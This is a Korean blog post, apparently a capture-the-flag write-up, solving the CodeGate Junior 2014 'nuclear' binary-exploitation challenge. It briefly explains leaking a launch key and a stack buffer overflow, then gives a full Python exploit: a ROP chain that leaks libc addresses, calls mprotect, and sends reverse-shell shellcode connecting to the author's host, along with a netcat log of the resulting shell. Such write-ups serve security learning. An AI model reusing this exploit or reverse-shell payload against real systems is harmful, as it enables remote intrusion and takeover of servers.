int $0x80

CodeGate Junior 2014 nuclear 문제 본문

해킹공부/캡쳐더플래그

CodeGate Junior 2014 nuclear 문제

cd80 cd80 2014.02.14 19:56
크리에이티브 커먼즈 라이선스
Creative Commons License



포너블 문제이다

대회시간동안 "unknown command : %s" 부분을 못봐서 고통스러웠다

서버 환경이나 libc가 공개되어있지 않아 최신버젼 리눅스 + 기본 메모리 보호기법 적용 으로 생각하고 풀었다

문제를 풀었던 순서는 다음과같다

1. target 설정 시 sscanf의 세번째인자(first_float), 네번째인자(second_float)에 널바이트가 포함되지 않은 4바이트 데이터를 넣을 수 있다

2. target 설정 후 명령입력창에서 0x200바이트만큼을 꽉 채워주면 명령입력받는 버퍼, first_float, second_float, keybuffer가 모두 널바이트 없이 이어진다

3. unknown command : %s 로 인해 사용자의 입력이 재출력되고 이때 키버퍼의 내용도 함께 출력된다

4. 얻은 키를 launch 후 passcode에 입력

5. 입력하면 start_routine이 실행된다

6. start_routine엔 대놓고 버퍼오버플로우 취약점이 있다


이걸 익스플로잇하기 위해 좀더 쉬운방법이 없을까 계속 고민하다가

공부가 부족한건지 마땅한 방법이 떠오르지 않아서

GOT에서 함수 두개의 libc주소간의 거리를 구한 후

서버로 사용했을만한 운영체제를 부팅시켜 libc를 대조해봤다


처음엔 read와 send를 릭했는데

내 서버에서 두개의 거리를 구한것과 대회서버에서 두개의 거리를 구한게 같아서 우분투 13.04가 아닐까 생각했는데 익스플로잇이 계속 실패해서

socket함수와 send함수의 거리를 구해봤더니 다르게 나왔다


그래서 최신버젼을 사용했겠다 싶어서 우분투 13.10을 부팅시켜 확인해보니 정확하게 일치했다




root@raspberrypi:~# nc -lv -p 4321

Listening on [0.0.0.0] (family 0, port 4321)

Connection from [58.229.183.22] port 4321 [tcp/*] accepted (family 2, sport 40596)

cat key

BUG_BOUNTIES_b3COM3_GrEAT 




익스플로잇

from socket import *

import struct

from time import sleep

import cd80


p = lambda x : struct.pack("<L", x)

up = lambda x : struct.unpack("<L", x)[0]

s = socket(AF_INET, SOCK_STREAM)


s.connect(("58.229.183.22", 1129))


print s.recv(4096)

s.send("target")

print s.recv(4096)

s.send("123.123123/123.123123\n")

print s.recv(4096)

s.send("launch\n")

print s.recv(4096)

s.send("in the end, i was there.\n")

print s.recv(4096)


send_plt = p(0x8048900)

send_got = p(0x804b07c)

recv_plt = p(0x80488e0)

recv_got = p(0x804b074)

socket_got = p(0x804b068)

fd = p(0x4)

bss = p(0x804b088)

leak_size = p(0x4)

recv_size = p(0x200)

null = p(0x0)

ppppr = p(0x804917c)

pppr = p(0x804917d)


# LHOST = cd80.kr LPORT = 4321 linux/x86/shell_reverse_tcp

shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"+\

"\x5b\x5e\x68\xd3\xc5\xcf\xa9\x66\x68\x10\xe1\x66\x53\x6a\x10"+\

"\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f"+\

"\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"+\

"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";


dunno_mprotect = 0

mprotect_libc = p(0xb760b2b0)



if dunno_mprotect:

    payload = "A"*528

    payload += send_plt

    payload += ppppr

    payload += fd

    payload += send_got

    payload += leak_size

    payload += null

    

    payload += send_plt

    payload += ppppr

    payload += fd

    payload += socket_got

    payload += leak_size

    payload += null

    

    payload += recv_plt

    payload += bss

    payload += fd

    payload += bss

    payload += recv_size

    payload += null

    

    s.send(payload)


    print s.recv(4096)

    addresses = s.recv(4096)


    send_libc = up(addresses[:4])

    read_libc = up(addresses[4:])

    

    print "[*] send@LIBC: %s"%hex(send_libc)[:-1]

    print "[*] socket@LIBC: %s"%hex(read_libc)[:-1]

    print "[*] offset : %s"%hex(send_libc - read_libc)[:-1]

    

    mprotect_libc = send_libc - 0xd4ac0

    print "[*] mprotect@LIBC: %s"%hex(mprotect_libc)[:-1]

    s.close()

else:

    payload = "A"*528

    payload += mprotect_libc

    payload += pppr

    payload += p(0x0804b000)

    payload += p(0x200)

    payload += p(7)


    payload += recv_plt

    payload += bss

    payload += fd

    payload += bss

    payload += recv_size

    payload += null


    s.send(payload)


    print s.recv(4096)

    sleep(1)

    s.send(shellcode)


    s.close()



신고
0 Comments
댓글쓰기 폼